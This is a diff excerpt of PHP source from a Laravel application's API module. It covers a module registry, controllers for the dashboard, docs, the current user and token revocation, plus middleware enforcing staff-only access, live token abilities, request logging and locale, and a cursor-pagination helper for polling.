|
||||
* interface or a shared base controller. See docs/extension-points-architecture.md.
|
||||
*
|
||||
* This is a guard against mistakes, not a sandbox. Nothing at runtime stops
|
||||
* a package from calling Route::post('api/v1/files/...') directly; what
|
||||
* stops it is ModuleRouteBoundaryTest, which is the same enforcement level
|
||||
* the rest of the extension system runs on.
|
||||
*/
|
||||
final class RegisteringApiModules
|
||||
{
|
||||
/**
|
||||
* Keyed by slug so a collision is detectable rather than last-write-wins.
|
||||
*
|
||||
* @var array<string, ApiModule>
|
||||
*/
|
||||
private array $modules = [];
|
||||
|
||||
/**
|
||||
* @param string $slug lowercase, hyphen-separated; becomes /api/v1/modules/{slug}
|
||||
* @param string|Closure $routes path to a route file, or a closure declaring routes
|
||||
* @param string|null $capability a Capability key, or null if the module is
|
||||
* available in every edition. Required — not
|
||||
* defaulted — so edition gating is a decision
|
||||
* each module makes out loud rather than one it
|
||||
* can forget. CustomAssets shipped routes that
|
||||
* answered 200 in the wrong edition precisely
|
||||
* because restating the gate was left to the
|
||||
* package to remember.
|
||||
*
|
||||
* @throws InvalidArgumentException on a malformed slug, a duplicate slug, or an
|
||||
* unknown capability key. Thrown at route-load
|
||||
* time, so a misconfigured module fails loudly on
|
||||
* the first request in development and in CI
|
||||
* rather than silently not mounting.
|
||||
*/
|
||||
public function register(string $slug, string|Closure $routes, ?string $capability): void
|
||||
{
|
||||
if (preg_match('/^[a-z0-9]+(-[a-z0-9]+)*$/', $slug) !== 1 || strlen($slug) > 40) {
|
||||
throw new InvalidArgumentException(
|
||||
"Invalid API module slug [{$slug}]: expected lowercase letters, digits and single hyphens, at most 40 characters."
|
||||
);
|
||||
}
|
||||
|
||||
if (isset($this->modules[$slug])) {
|
||||
throw new InvalidArgumentException(
|
||||
"API module slug [{$slug}] is already registered. Two packages cannot share a slug — one of them must rename."
|
||||
);
|
||||
}
|
||||
|
||||
if (is_string($routes) && ! is_file($routes)) {
|
||||
throw new InvalidArgumentException(
|
||||
"API module [{$slug}] was registered with route file [{$routes}], which does not exist."
|
||||
);
|
||||
}
|
||||
|
||||
if ($capability !== null && Capability::tryFrom($capability) === null) {
|
||||
throw new InvalidArgumentException(
|
||||
"API module [{$slug}] declared unknown capability [{$capability}]. Add the case to Capability first."
|
||||
);
|
||||
}
|
||||
|
||||
$this->modules[$slug] = new ApiModule($slug, $routes, $capability);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<ApiModule>
|
||||
*/
|
||||
public function modules(): array
|
||||
{
|
||||
return array_values($this->modules);
|
||||
}
|
||||
|
||||
/**
|
||||
* The slugs an API client can expect to find under /api/v1/modules,
|
||||
* surfaced by GET /api/v1/me so a caller can discover what this
|
||||
* particular install offers before calling it.
|
||||
*
|
||||
* @return list<string>
|
||||
*/
|
||||
public function slugs(): array
|
||||
{
|
||||
return array_keys($this->modules);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Api\Http\Controllers;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Modules\Api\ApiUsage;
|
||||
use App\Modules\Api\ApiUsageScope;
|
||||
use App\Modules\Platform\Settings\Setting;
|
||||
use App\Modules\Platform\Settings\Settings;
|
||||
use Illuminate\Http\Request;
|
||||
use Inertia\Inertia;
|
||||
use Inertia\Response;
|
||||
|
||||
/**
|
||||
* What the API has been doing: token inventory, request volume, and the
|
||||
* domain actions taken through it.
|
||||
*
|
||||
* Two sources, on purpose. Volume, latency and error rates come from
|
||||
* `api_request_logs`, which records every call; "what did this token
|
||||
* change" comes from the activity log, which records domain events and
|
||||
* links back to the full history. Neither could answer the other's
|
||||
* question.
|
||||
*/
|
||||
class ApiDashboardController extends Controller
|
||||
{
|
||||
public function __construct(
|
||||
private readonly ApiUsage $usage,
|
||||
private readonly ApiUsageScope $scope,
|
||||
private readonly Settings $settings,
|
||||
) {}
|
||||
|
||||
public function __invoke(Request $request): Response
|
||||
{
|
||||
$viewer = $request->user();
|
||||
assert($viewer !== null);
|
||||
|
||||
// The request may ask for the install-wide view; the scope decides
|
||||
// whether it gets one. A viewer without the permission silently
|
||||
// falls back to their own tokens rather than being refused — the
|
||||
// page is theirs either way, only its reach differs.
|
||||
$installWide = $this->scope->resolve($viewer, $request->boolean('all'));
|
||||
|
||||
return Inertia::render('api/dashboard', [
|
||||
'summary' => $this->usage->summary($viewer, $installWide),
|
||||
'daily' => $this->usage->daily($viewer, $installWide),
|
||||
'tokens' => $this->usage->tokenUsage($viewer, $installWide),
|
||||
'recent_actions' => $this->usage->recentActions($viewer, $installWide),
|
||||
'top_endpoints' => $this->usage->topEndpoints($viewer, $installWide),
|
||||
'scope' => [
|
||||
'install_wide' => $installWide,
|
||||
'can_view_install_wide' => $this->scope->mayViewInstallWide($viewer),
|
||||
],
|
||||
'retention_days' => (int) $this->settings->get(Setting::ApiRequestLogRetentionDays),
|
||||
]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Api\Http\Controllers;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use Illuminate\Http\Request;
|
||||
use Inertia\Inertia;
|
||||
use Inertia\Response;
|
||||
use League\CommonMark\Environment\Environment;
|
||||
use League\CommonMark\Extension\CommonMark\CommonMarkCoreExtension;
|
||||
use League\CommonMark\Extension\Table\TableExtension;
|
||||
use League\CommonMark\MarkdownConverter;
|
||||
|
||||
/**
|
||||
* The API reference, inside the admin UI.
|
||||
*
|
||||
* Rendered from the two files that are already the source of truth — the
|
||||
* committed OpenAPI document and docs/api-guide.md — rather than embedding
|
||||
* a third-party documentation UI. An iframe or a CDN-hosted renderer would
|
||||
* mean a page that ignores the app's theme, breaks its links, and goes
|
||||
* blank on an install with no outbound internet access, which self-hosted
|
||||
* installations regularly are.
|
||||
*
|
||||
* The markdown is converted server-side with league/commonmark, already a
|
||||
* framework dependency, so no JavaScript renderer joins the bundle.
|
||||
*/
|
||||
class ApiDocsController extends Controller
|
||||
{
|
||||
public function __invoke(Request $request): Response
|
||||
{
|
||||
return Inertia::render('api/docs', [
|
||||
'guide_html' => $this->guideHtml(),
|
||||
'endpoints' => $this->endpoints(),
|
||||
'spec_url' => route('api.openapi'),
|
||||
'version' => $this->spec()['info']['version'] ?? null,
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function spec(): array
|
||||
{
|
||||
$path = base_path(OpenApiController::PATH);
|
||||
|
||||
if (! is_file($path)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return json_decode((string) file_get_contents($path), true) ?: [];
|
||||
}
|
||||
|
||||
/**
|
||||
* Flattened operation list for the summary table: one row per method
|
||||
* and path, with the abilities pulled back out of the description
|
||||
* where describeOpenApi() put them.
|
||||
*
|
||||
* @return list<array<string, mixed>>
|
||||
*/
|
||||
private function endpoints(): array
|
||||
{
|
||||
$rows = [];
|
||||
|
||||
foreach ($this->spec()['paths'] ?? [] as $path => $operations) {
|
||||
foreach ($operations as $method => $operation) {
|
||||
if (! in_array($method, ['get', 'post', 'put', 'patch', 'delete'], true)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
preg_match_all('/`([a-z_]+)`/', $this->abilitySentence($operation), $matches);
|
||||
|
||||
$rows[] = [
|
||||
'method' => strtoupper($method),
|
||||
'path' => '/api/v1'.$path,
|
||||
'summary' => $operation['summary'] ?? '',
|
||||
'abilities' => $matches[1],
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
usort($rows, fn (array $a, array $b): int => [$a['path'], $a['method']] <=> [$b['path'], $b['method']]);
|
||||
|
||||
return $rows;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $operation
|
||||
*/
|
||||
private function abilitySentence(array $operation): string
|
||||
{
|
||||
$description = is_string($operation['description'] ?? null) ? $operation['description'] : '';
|
||||
$position = strpos($description, 'Requires a token with');
|
||||
|
||||
return $position === false ? '' : substr($description, $position);
|
||||
}
|
||||
|
||||
private function guideHtml(): string
|
||||
{
|
||||
$path = base_path('docs/api-guide.md');
|
||||
|
||||
if (! is_file($path)) {
|
||||
return '';
|
||||
}
|
||||
|
||||
// A deliberately small extension set. The guide is a file shipped
|
||||
// with the application, not user input — but rendering it with the
|
||||
// narrowest converter that does the job keeps it that way even if
|
||||
// someone later points this at something less trustworthy.
|
||||
$environment = new Environment([
|
||||
'html_input' => 'escape',
|
||||
'allow_unsafe_links' => false,
|
||||
]);
|
||||
$environment->addExtension(new CommonMarkCoreExtension);
|
||||
$environment->addExtension(new TableExtension);
|
||||
|
||||
return (string) (new MarkdownConverter($environment))->convert((string) file_get_contents($path));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Api\Http\Controllers;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Modules\Audit\Action;
|
||||
use App\Modules\Audit\ActivityLogger;
|
||||
use Illuminate\Http\JsonResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Laravel\Sanctum\PersonalAccessToken;
|
||||
|
||||
/**
|
||||
* Self-revocation: an integration that is being decommissioned, or one that
|
||||
* suspects it has leaked its own credential, can retire it without anyone
|
||||
* logging into the web UI.
|
||||
*
|
||||
* Scoped to the calling token on purpose — see routes/api.php.
|
||||
*/
|
||||
class CurrentTokenController extends Controller
|
||||
{
|
||||
public function __construct(
|
||||
private readonly ActivityLogger $activity,
|
||||
) {}
|
||||
|
||||
public function __invoke(Request $request): JsonResponse
|
||||
{
|
||||
$user = $request->user();
|
||||
assert($user !== null);
|
||||
|
||||
// Sanctum's own docblock types this as non-nullable, but the
|
||||
// underlying property is simply unset when the request was not
|
||||
// token-authenticated. Narrowing it here keeps the null branch
|
||||
// honest instead of letting the analyser delete it.
|
||||
/** @var PersonalAccessToken|null $token */
|
||||
$token = $user->currentAccessToken();
|
||||
|
||||
if ($token !== null) {
|
||||
// `via` and `api_token` are stamped by ActivityLogger itself.
|
||||
$this->activity->log(Action::ApiTokenRevoked, $user, context: ['token_name' => $token->name]);
|
||||
|
||||
$token->delete();
|
||||
}
|
||||
|
||||
return response()->json(status: 204);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Api\Http\Controllers;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use App\Modules\Api\ApiModuleRegistry;
|
||||
use App\Modules\Api\Auth\TokenAbilities;
|
||||
use App\Modules\Platform\Capabilities\CapabilityRegistry;
|
||||
use Illuminate\Http\JsonResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Laravel\Sanctum\PersonalAccessToken;
|
||||
|
||||
/**
|
||||
* Who am I, what may I do, and what does this install offer.
|
||||
*
|
||||
* The first call any integration makes: it lets a client discover the
|
||||
* effective permission set and the available modules instead of probing
|
||||
* endpoints and reading 403s.
|
||||
*/
|
||||
class MeController extends Controller
|
||||
{
|
||||
public function __construct(
|
||||
private readonly TokenAbilities $abilities,
|
||||
private readonly CapabilityRegistry $capabilities,
|
||||
private readonly ApiModuleRegistry $modules,
|
||||
) {}
|
||||
|
||||
public function __invoke(Request $request): JsonResponse
|
||||
{
|
||||
$user = $request->user();
|
||||
assert($user !== null);
|
||||
|
||||
// See CurrentTokenController: Sanctum types this as non-nullable
|
||||
// although the property is unset without token authentication.
|
||||
/** @var PersonalAccessToken|null $token */
|
||||
$token = $user->currentAccessToken();
|
||||
|
||||
return response()->json([
|
||||
'data' => [
|
||||
'id' => $user->id,
|
||||
'name' => $user->name,
|
||||
'email' => $user->email,
|
||||
'type' => $user->type->value,
|
||||
'role' => $user->role?->name,
|
||||
'locale' => $user->locale,
|
||||
|
||||
// The *effective* set, not the token's stored list: a token
|
||||
// minted before a demotion still carries abilities its owner
|
||||
// has since lost, and reporting those would tell an
|
||||
// integration it can do things every request will refuse.
|
||||
// EnsureTokenCan enforces exactly this intersection.
|
||||
'abilities' => $this->effectiveAbilities($user, $token),
|
||||
|
||||
'token' => [
|
||||
'name' => $token?->name,
|
||||
'expires_at' => $token?->expires_at?->toIso8601String(),
|
||||
],
|
||||
],
|
||||
'meta' => [
|
||||
'edition' => $this->capabilities->edition()->value,
|
||||
'capabilities' => $this->capabilities->enabledKeys(),
|
||||
'modules' => $this->modules->slugs(),
|
||||
'version' => config('projectsend.version'),
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
private function effectiveAbilities(User $user, ?PersonalAccessToken $token): array
|
||||
{
|
||||
// Permission ∩ capability, so this never advertises an ability that
|
||||
// the edition has no feature behind — see TokenAbilities.
|
||||
$granted = $this->abilities->availableFor($user);
|
||||
|
||||
if ($token === null) {
|
||||
return [];
|
||||
}
|
||||
|
||||
// Sanctum's wildcard: a token created without an explicit list may
|
||||
// do anything its owner may do. Tokens minted through the settings
|
||||
// page always carry an explicit list, so this is only reachable for
|
||||
// tokens created in code — tests, tinker, a future first-party flow.
|
||||
if (in_array('*', $token->abilities ?? [], true)) {
|
||||
return $granted;
|
||||
}
|
||||
|
||||
return array_values(array_intersect($granted, $token->abilities ?? []));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Api\Http\Controllers;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use Illuminate\Http\JsonResponse;
|
||||
use Symfony\Component\HttpFoundation\Response;
|
||||
|
||||
/**
|
||||
* The OpenAPI document, served from the copy committed to the repository
|
||||
* rather than generated per request.
|
||||
*
|
||||
* Generating on request would make the document a property of whichever
|
||||
* packages happen to be installed on that particular server, and would put
|
||||
* route reflection on the hot path of a public, unauthenticated endpoint.
|
||||
* The committed file is the contract; `php artisan scramble:export`
|
||||
* regenerates it and a test fails if the two drift.
|
||||
*
|
||||
* Unauthenticated on purpose: a client needs the spec *before* it has a
|
||||
* token, and the document is identical on every install — it describes the
|
||||
* shape of the API, never any of this installation's data. A test asserts
|
||||
* that second part, since it is the whole reason this is safe to leave open.
|
||||
*/
|
||||
class OpenApiController extends Controller
|
||||
{
|
||||
public const PATH = 'docs/api/openapi.json';
|
||||
|
||||
public function __invoke(): Response
|
||||
{
|
||||
$path = base_path(self::PATH);
|
||||
|
||||
if (! is_file($path)) {
|
||||
// A deployment that skipped the export step. Better a clear 404
|
||||
// than an empty document a client would cache as the truth.
|
||||
return new JsonResponse([
|
||||
'type' => 'not_found',
|
||||
'title' => 'The OpenAPI document has not been generated for this installation.',
|
||||
'status' => 404,
|
||||
], 404, ['Content-Type' => 'application/problem+json']);
|
||||
}
|
||||
|
||||
return new Response((string) file_get_contents($path), 200, [
|
||||
'Content-Type' => 'application/json',
|
||||
'Cache-Control' => 'public, max-age=300',
|
||||
]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Api\Http\Middleware;
|
||||
|
||||
use Closure;
|
||||
use Illuminate\Http\Request;
|
||||
use Symfony\Component\HttpFoundation\Response;
|
||||
|
||||
/**
|
||||
* The token twin of Identity's EnsureAccountIsActive: deactivating an
|
||||
* account revokes its API access on the very next request, without anyone
|
||||
* having to hunt down the tokens it minted.
|
||||
*
|
||||
* Deleted accounts need no equivalent — users are soft-deleted and the
|
||||
* default query scope means Sanctum simply fails to resolve the tokenable,
|
||||
* which surfaces as a 401.
|
||||
*
|
||||
* Unlike the web version there is no session to tear down and nowhere to
|
||||
* redirect to, so this is a flat 401: the credential is no longer good.
|
||||
*/
|
||||
class EnsureApiAccountIsActive
|
||||
{
|
||||
public function handle(Request $request, Closure $next): Response
|
||||
{
|
||||
$user = $request->user();
|
||||
|
||||
if ($user !== null && ! $user->active) {
|
||||
abort(401);
|
||||
}
|
||||
|
||||
return $next($request);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Api\Http\Middleware;
|
||||
|
||||
use Closure;
|
||||
use Illuminate\Http\Request;
|
||||
use Symfony\Component\HttpFoundation\Response;
|
||||
|
||||
/**
|
||||
* The API is staff-only in v1.
|
||||
*
|
||||
* Client accounts have no way to mint a token (the settings page that
|
||||
* issues them is behind `staff`), so this is the second half of a belt-and
|
||||
* -braces pair rather than the only control: if a client ever ends up
|
||||
* holding a token — a seeded fixture, a support script, an account whose
|
||||
* type was changed after issuance — every API route still refuses it.
|
||||
*
|
||||
* The reason clients are excluded is scope, not capability: a token acting
|
||||
* for a client is the largest privacy surface this API could have, and it
|
||||
* needs its own ability vocabulary before it can exist safely. Until that
|
||||
* is built, it simply doesn't.
|
||||
*/
|
||||
class EnsureStaffToken
|
||||
{
|
||||
public function handle(Request $request, Closure $next): Response
|
||||
{
|
||||
$user = $request->user();
|
||||
|
||||
if ($user === null) {
|
||||
abort(401);
|
||||
}
|
||||
|
||||
if (! $user->isStaff()) {
|
||||
abort(403);
|
||||
}
|
||||
|
||||
return $next($request);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Api\Http\Middleware;
|
||||
|
||||
use App\Modules\Api\Auth\TokenAbilities;
|
||||
use Closure;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Gate;
|
||||
use Symfony\Component\HttpFoundation\Response;
|
||||
|
||||
/**
|
||||
* Route-level ability enforcement: `->middleware('token-can:edit_files,edit_others_files')`.
|
||||
* Any one of the listed abilities is enough, matching how the web routes
|
||||
* treat own/others permission pairs.
|
||||
*
|
||||
* Why this exists instead of Sanctum's stock `ability` middleware: Sanctum
|
||||
* only asks what was baked into the token when it was minted. Roles change.
|
||||
* A staff member who held `delete_files` in March, minted a token, and was
|
||||
* moved to a read-only role in April still carries a token that claims the
|
||||
* ability — and stock Sanctum honours the claim. Every request here checks
|
||||
* both halves:
|
||||
*
|
||||
* 1. the token was granted the ability, and
|
||||
* 2. the user still holds the underlying permission right now.
|
||||
*
|
||||
* The Gate side is the live one, registered per Permission case in
|
||||
* IdentityServiceProvider, so demotion takes effect on the next request
|
||||
* rather than whenever someone remembers to revoke the token.
|
||||
*
|
||||
* This is an additional gate, never a substitute for the domain's own
|
||||
* policy checks — controllers still call Gate::authorize() on the model.
|
||||
*/
|
||||
class EnsureTokenCan
|
||||
{
|
||||
public function handle(Request $request, Closure $next, string ...$abilities): Response
|
||||
{
|
||||
$user = $request->user();
|
||||
|
||||
if ($user === null) {
|
||||
abort(401);
|
||||
}
|
||||
|
||||
$available = app(TokenAbilities::class);
|
||||
|
||||
foreach ($abilities as $ability) {
|
||||
// Three checks, all of which must hold:
|
||||
//
|
||||
// - the edition has the feature at all (a token minted on a
|
||||
// community install and carried to a cloud one must not keep
|
||||
// working — route-level `capability:` middleware is the
|
||||
// primary gate, this is the belt-and-braces half);
|
||||
// - the token was granted the ability;
|
||||
// - the owner still holds the permission today.
|
||||
//
|
||||
// tokenCan() is false when there is no access token — a
|
||||
// first-party session, which config/sanctum.php makes
|
||||
// unreachable here but which must fail closed if it ever
|
||||
// becomes reachable: "proved no ability", not "may do anything".
|
||||
if ($available->isAvailable($ability)
|
||||
&& $user->tokenCan($ability)
|
||||
&& Gate::forUser($user)->allows($ability)) {
|
||||
return $next($request);
|
||||
}
|
||||
}
|
||||
|
||||
abort(403);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Api\Http\Middleware;
|
||||
|
||||
use App\Modules\Api\Models\ApiRequestLog;
|
||||
use Closure;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Symfony\Component\HttpFoundation\Response;
|
||||
use Throwable;
|
||||
|
||||
/**
|
||||
* Records every API request.
|
||||
*
|
||||
* Applied to the whole `api` middleware group rather than per route, so an
|
||||
* endpoint added later is measured without anyone remembering to opt in —
|
||||
* the same reasoning as stamping origin inside ActivityLogger.
|
||||
*
|
||||
* The write happens in terminate(), not handle(), for two reasons. A
|
||||
* failed request never returns through handle() at all: `auth:sanctum`
|
||||
* throws, and the exception travels past this middleware to be turned into
|
||||
* a 401 by the handler, so recording after `$next` would have logged only
|
||||
* the successes — the flattering half, and useless in an incident.
|
||||
* terminate() also runs after the response has been sent, so telemetry
|
||||
* costs the caller nothing.
|
||||
*/
|
||||
class RecordApiRequest
|
||||
{
|
||||
private const STARTED_AT = 'api_request_started_at';
|
||||
|
||||
public function handle(Request $request, Closure $next): Response
|
||||
{
|
||||
// On the request rather than on `$this`: terminable middleware is
|
||||
// re-resolved from the container, so instance state is not
|
||||
// guaranteed to survive to terminate().
|
||||
$request->attributes->set(self::STARTED_AT, microtime(true));
|
||||
|
||||
return $next($request);
|
||||
}
|
||||
|
||||
public function terminate(Request $request, Response $response): void
|
||||
{
|
||||
try {
|
||||
$startedAt = $request->attributes->get(self::STARTED_AT);
|
||||
$token = $request->user()?->currentAccessToken();
|
||||
|
||||
ApiRequestLog::query()->create([
|
||||
'api_token_id' => $token?->getKey(),
|
||||
// Snapshotted so a revoked token's history is still readable
|
||||
// — which is precisely when someone reviews it.
|
||||
'api_token_name' => $token?->getAttribute('name'),
|
||||
'user_id' => $request->user()?->getKey(),
|
||||
'method' => $request->getMethod(),
|
||||
'route' => $this->routePattern($request),
|
||||
'status' => $response->getStatusCode(),
|
||||
'duration_ms' => is_float($startedAt) ? (int) round((microtime(true) - $startedAt) * 1000) : 0,
|
||||
'created_at' => now(),
|
||||
]);
|
||||
} catch (Throwable $e) {
|
||||
// Telemetry must never turn a successful API call into a failed
|
||||
// one. A full disk or a locked table is an operations problem,
|
||||
// not the caller's — and by this point the response has already
|
||||
// gone out regardless.
|
||||
Log::warning('Failed to record an API request: '.$e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* The matched route's *pattern*, never the resolved URI: a URI carries
|
||||
* the ids of the clients and files a caller touched, and that belongs
|
||||
* in the audit log rather than in volume telemetry. A request that
|
||||
* matched nothing is recorded under a placeholder, so 404 noise stays
|
||||
* countable without recording what was probed.
|
||||
*/
|
||||
private function routePattern(Request $request): string
|
||||
{
|
||||
$route = $request->route();
|
||||
|
||||
return $route === null ? '(unmatched)' : $route->uri();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Api\Http\Middleware;
|
||||
|
||||
use App\Modules\Platform\Localization\LocaleRegistry;
|
||||
use Closure;
|
||||
use Illuminate\Http\Request;
|
||||
use Symfony\Component\HttpFoundation\Response;
|
||||
|
||||
/**
|
||||
* Platform's SetLocale reads the session, which API requests don't have —
|
||||
* calling it here would throw. Same resolution order minus that step:
|
||||
* the token owner's own preference, then Accept-Language, then the app
|
||||
* default.
|
||||
*
|
||||
* Worth doing rather than defaulting everything to English: validation
|
||||
* messages are the one part of an API response written for a human, and a
|
||||
* 422 is usually read by the same person who set the locale in the UI.
|
||||
*/
|
||||
class SetApiLocale
|
||||
{
|
||||
public function __construct(
|
||||
private readonly LocaleRegistry $locales,
|
||||
) {}
|
||||
|
||||
public function handle(Request $request, Closure $next): Response
|
||||
{
|
||||
$locale = $request->user()?->locale;
|
||||
|
||||
if (! is_string($locale) || ! $this->locales->isEnabled($locale)) {
|
||||
$locale = $request->getPreferredLanguage($this->locales->preferenceOrder())
|
||||
?? $this->locales->defaultLocale();
|
||||
}
|
||||
|
||||
app()->setLocale($locale);
|
||||
|
||||
return $next($request);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,72 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Api\Models;
|
||||
|
||||
use App\Models\User;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
use Illuminate\Support\Carbon;
|
||||
|
||||
/**
|
||||
* One row per API request. See the migration for why this is separate from
|
||||
* the activity log, and why it stores a route pattern and no IP.
|
||||
*
|
||||
* @property int $id
|
||||
* @property int|null $api_token_id
|
||||
* @property string|null $api_token_name
|
||||
* @property int|null $user_id
|
||||
* @property string $method
|
||||
* @property string $route
|
||||
* @property int $status
|
||||
* @property int $duration_ms
|
||||
* @property Carbon $created_at
|
||||
*/
|
||||
class ApiRequestLog extends Model
|
||||
{
|
||||
protected $table = 'api_request_logs';
|
||||
|
||||
// Written once and never touched again, like the activity log.
|
||||
public $timestamps = false;
|
||||
|
||||
protected $guarded = [];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return ['created_at' => 'datetime'];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return BelongsTo<User, $this>
|
||||
*/
|
||||
public function user(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(User::class);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param Builder<$this> $query
|
||||
* @return Builder<$this>
|
||||
*/
|
||||
public function scopeFailed(Builder $query): Builder
|
||||
{
|
||||
return $query->where('status', '>=', 400);
|
||||
}
|
||||
|
||||
/**
|
||||
* Everything a given user's own tokens did.
|
||||
*
|
||||
* Matched on the token's owner rather than on `user_id` alone so a
|
||||
* revoked token's history stays visible to the person who created it —
|
||||
* which is exactly when someone goes looking.
|
||||
*
|
||||
* @param Builder<$this> $query
|
||||
* @return Builder<$this>
|
||||
*/
|
||||
public function scopeOwnedBy(Builder $query, User $user): Builder
|
||||
{
|
||||
return $query->where('user_id', $user->id);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Api\Support;
|
||||
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Pagination\CursorPaginator;
|
||||
use Illuminate\Support\Carbon;
|
||||
|
||||
/**
|
||||
* The shape every list endpoint shares, so an integration learns it once.
|
||||
*
|
||||
* Two modes, chosen by whether the caller passed `updated_since`:
|
||||
*
|
||||
* - **Polling.** Ordered by (updated_at, id) *ascending* and filtered to
|
||||
* rows touched at or after the given time. That ordering is what makes
|
||||
* a repeated poll safe: new and edited rows always land at the end of
|
||||
* the walk, so paging forward with a cursor visits every row exactly
|
||||
* once. Newest-first would insert new rows at the front and silently
|
||||
* shift everything the caller had not read yet.
|
||||
* - **Browsing.** Newest-first, for a human looking at a list.
|
||||
*
|
||||
* `updated_since` is inclusive on purpose. A caller is told to poll with
|
||||
* the highest `updated_at` it has seen, and two rows can share a
|
||||
* timestamp to the second; excluding the boundary would drop the second
|
||||
* one forever. The cost is re-seeing the boundary row, which a client
|
||||
* de-duplicates by id — the safe direction of the trade.
|
||||
*
|
||||
* Known limitation, documented rather than papered over: polling cannot
|
||||
* observe deletions. A soft-deleted row simply stops appearing. Webhooks
|
||||
* are the fix, and are deliberately a later phase.
|
||||
*/
|
||||
class PollingQuery
|
||||
{
|
||||
/**
|
||||
* @template TModel of Model
|
||||
*
|
||||
* @param Builder<TModel> $query
|
||||
* @return CursorPaginator<int, TModel>
|
||||
*/
|
||||
public function paginate(Request $request, Builder $query, string $table): CursorPaginator
|
||||
{
|
||||
$since = $request->query('updated_since');
|
||||
|
||||
if (is_string($since) && $since !== '') {
|
||||
// Parsed, never passed through as a string. Callers send proper
|
||||
// ISO 8601 ("2026-08-06T05:00:00+02:00"), and the database will
|
||||
// not compare that against a datetime column — MySQL fails to
|
||||
// cast the `T` and the offset and silently matches nothing, so
|
||||
// a polling client would see an empty result forever instead of
|
||||
// an error. Carbon also normalises the offset into the app's
|
||||
// timezone, so a caller in any timezone gets the same rows.
|
||||
$query->where("{$table}.updated_at", '>=', Carbon::parse($since)->timezone(config('app.timezone')))
|
||||
->orderBy("{$table}.updated_at")
|
||||
->orderBy("{$table}.id");
|
||||
} else {
|
||||
$query->orderByDesc("{$table}.updated_at")
|
||||
->orderByDesc("{$table}.id");
|
||||
}
|
||||
|
||||
return $query->cursorPaginate($this->perPage($request))->withQueryString();
|
||||
}
|
||||
|
||||
/**
|
||||
* The cap exists so one caller cannot turn a list endpoint into a
|
||||
* full-table export in a single request.
|
||||
*/
|
||||
public function perPage(Request $request): int
|
||||
{
|
||||
$requested = (int) $request->query('per_page', (string) config('api.pagination.per_page'));
|
||||
$max = (int) config('api.pagination.max_per_page');
|
||||
|
||||
return max(1, min($requested, $max));
|
||||
}
|
||||
|
||||
/**
|
||||
* Validation rules a controller merges into its own, so `updated_since`
|
||||
* is rejected consistently rather than silently ignored when malformed
|
||||
* — a caller polling with a bad timestamp would otherwise re-read the
|
||||
* whole table on every tick and never notice.
|
||||
*
|
||||
* @return array<string, list<string>>
|
||||
*/
|
||||
public function rules(): array
|
||||
{
|
||||
return [
|
||||
'updated_since' => ['nullable', 'date'],
|
||||
'per_page' => ['nullable', 'integer', 'min:1', 'max:'.(int) config('api.pagination.max_per_page')],
|
||||
'cursor' => ['nullable', 'string'],
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,192 @@
|
||||
<?php
|
||||
|
||||
